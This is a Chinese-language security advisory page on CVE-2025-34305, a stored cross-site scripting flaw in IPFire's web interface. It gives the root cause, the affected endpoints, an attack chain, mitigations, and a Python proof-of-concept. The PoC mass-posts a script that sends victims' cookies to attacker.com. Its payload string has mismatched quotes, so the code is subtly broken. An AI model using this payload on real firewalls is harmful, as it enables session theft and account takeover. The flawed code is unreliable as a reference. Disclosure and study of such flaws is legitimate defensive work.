IPBUF安全漏洞报告
English
CVE-2025-34305 CVSS 5.4 中危

CVE-2025-34305 IPFire多端点存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34305
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSSIPFire防火墙cleanhtml()CVE-2025-34305Web应用安全跨站脚本攻击Perl CGI

漏洞概述

IPFire是一款开源的Linux防火墙发行版,广泛应用于企业和组织的网络安全防护。2025年10月披露的安全漏洞显示,IPFire 2.29(Core Update 198)之前的所有版本存在多个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于/var/ipfire/header.pl文件中的cleanhtml()函数存在编程缺陷,该函数在处理用户输入时调用了escape()和HTML::Entities::encode_entities()进行HTML实体编码,但未能将编码后的结果正确赋值回输出变量,导致原始未经过滤的用户输入被直接存储到数据库中。当其他用户访问受影响页面时,这些恶意脚本代码会被浏览器解析执行,从而窃取用户会话 cookie、劫持用户账号或进行进一步的内网渗透攻击。攻击者只需拥有低权限账号即可利用此漏洞,且攻击过程对受害者完全透明,具有较高的隐蔽性和危害性。

技术细节

漏洞根源在于cleanhtml()函数的实现逻辑错误。该函数位于IPFire的核心文件/var/ipfire/header.pl中,负责对用户提交的数据进行HTML净化处理。问题在于代码中虽然调用了escape()和HTML::Entities::encode_entities()方法对特殊字符进行转义,但转义后的返回值并未被重新赋值给原始变量,导致输入数据保持原始状态。攻击者可通过以下受影响的端点注入恶意JavaScript代码:/cgi-bin/wakeonlan.cgi的CLIENT_COMMENT参数、/cgi-bin/dhcp.cgi的ADVOPT_DATA/FIX_REMARK/FIX_FILENAME/FIX_ROOTPATH参数、/cgi-bin/connscheduler.cgi的ACTION_COMMENT参数、/cgi-bin/dnsforward.cgi的REMARK参数、/cgi-bin/vpnmain.cgi的REMARK参数,以及/cgi-bin/dns.cgi的REMARK参数。恶意脚本被存储后,在用户访问相关页面时会被浏览器作为HTML解析执行,成功绕过同源策略限制,可获取用户敏感信息或执行特权操作。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统为IPFire防火墙,并确认版本低于2.29 Core Update 198
STEP 2
账户获取
攻击者通过社会工程、弱口令或凭据泄露获得目标系统的低权限用户账号
STEP 3
恶意Payload注入
攻击者构造包含JavaScript代码的XSS payload,通过POST请求向受影响的CGI端点(wakeonlan.cgi、dhcp.cgi、connscheduler.cgi、dnsforward.cgi、vpnmain.cgi、dns.cgi)提交数据
STEP 4
漏洞触发条件
cleanhtml()函数调用escape()和HTML::Entities::encode_entities()进行转义,但未将结果赋值回变量,导致恶意代码被原样存储
STEP 5
受害者访问
其他用户(管理员或普通用户)访问包含恶意代码的页面时,浏览器将其作为HTML解析并执行注入的JavaScript
STEP 6
攻击成功
攻击者通过XSS成功窃取受害者Cookie、会话令牌或执行特权操作,可能进一步实现横向移动和内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-34305 Stored XSS PoC for IPFire # Target: IPFire < 2.29 Core Update 198 # Affected endpoints: /cgi-bin/wakeonlan.cgi, /cgi-bin/dhcp.cgi, # /cgi-bin/connscheduler.cgi, /cgi-bin/dnsforward.cgi, # /cgi-bin/vpnmain.cgi, /cgi-bin/dns.cgi TARGET = "http://target-ipfire.local" USERNAME = "admin" PASSWORD = "password" XSS_PAYLOAD = '<script>document.location="http://attacker.com/log?c=' + ' + document.cookie + '</script>' def exploit(endpoint, param_name): """ Send XSS payload to affected endpoint """ login_url = f"{TARGET}/cgi-bin/login.cgi" exploit_url = f"{TARGET}{endpoint}" # Login to obtain session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } session.post(login_url, data=login_data) # Send XSS payload to affected parameter exploit_data = { param_name: XSS_PAYLOAD, 'submit': 'Save' } response = session.post(exploit_url, data=exploit_data) print(f"[+] Payload sent to {endpoint} parameter: {param_name}") print(f"[+] Response status: {response.status_code}") return response if __name__ == "__main__": targets = [ ('/cgi-bin/wakeonlan.cgi', 'CLIENT_COMMENT'), ('/cgi-bin/dhcp.cgi', 'FIX_REMARK'), ('/cgi-bin/connscheduler.cgi', 'ACTION_COMMENT'), ('/cgi-bin/dnsforward.cgi', 'REMARK'), ('/cgi-bin/vpnmain.cgi', 'REMARK'), ('/cgi-bin/dns.cgi', 'REMARK') ] for endpoint, param in targets: try: exploit(endpoint, param) except Exception as e: print(f"[-] Error targeting {endpoint}: {e}")

影响范围

IPFire < 2.29 Core Update 198

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制IPFire管理界面的访问权限,仅允许受信任的IP地址访问;2)启用严格的会话管理和双因素认证;3)监控Web日志中的异常请求模式;4)考虑使用Web应用防火墙(WAF)过滤恶意请求;5)提醒用户不要点击来源不明的链接,尤其是包含可疑参数的URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表